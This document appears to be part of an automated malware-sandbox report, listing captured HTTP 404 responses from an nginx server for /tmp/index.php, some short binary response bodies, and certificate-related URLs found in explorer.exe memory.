Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:46 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 59 39 08 a5 6c 5f b5 ac 17 bd cf b4 fe 6d 9f 3d d4 a1 72 0a 41 c2 8f 97 cb Data Ascii: #\6Y9l_m=rA
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:52 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:53 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:55 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:56 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 12:59:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:15 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:26 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:01:45 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:02:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:02:29 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 07 Oct 2024 13:02:50 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Source: explorer.exe, 00000002.00000000.2119469337.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2119469337.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000002.00000000.2115964908.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: explorer.exe, 00000002.00000000.2119469337.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2119469337.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000002.00000000.2119469337.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2119469337.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: explorer.exe, 00000002.00000000.2119469337.0000000009AF9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000002.00000000.2119469337.0000000009B0B000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: explorer.exe, 00000002.00000000.2119469337.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
Source: explorer.exe, 00000002.00000000.2118897600.0000000008890000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2118355378.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000002.00000000.2118873758.0000000008870000.00000002.00000001.00040000.00000000.sdmp	String found in binary or memory: http://schemas.micro
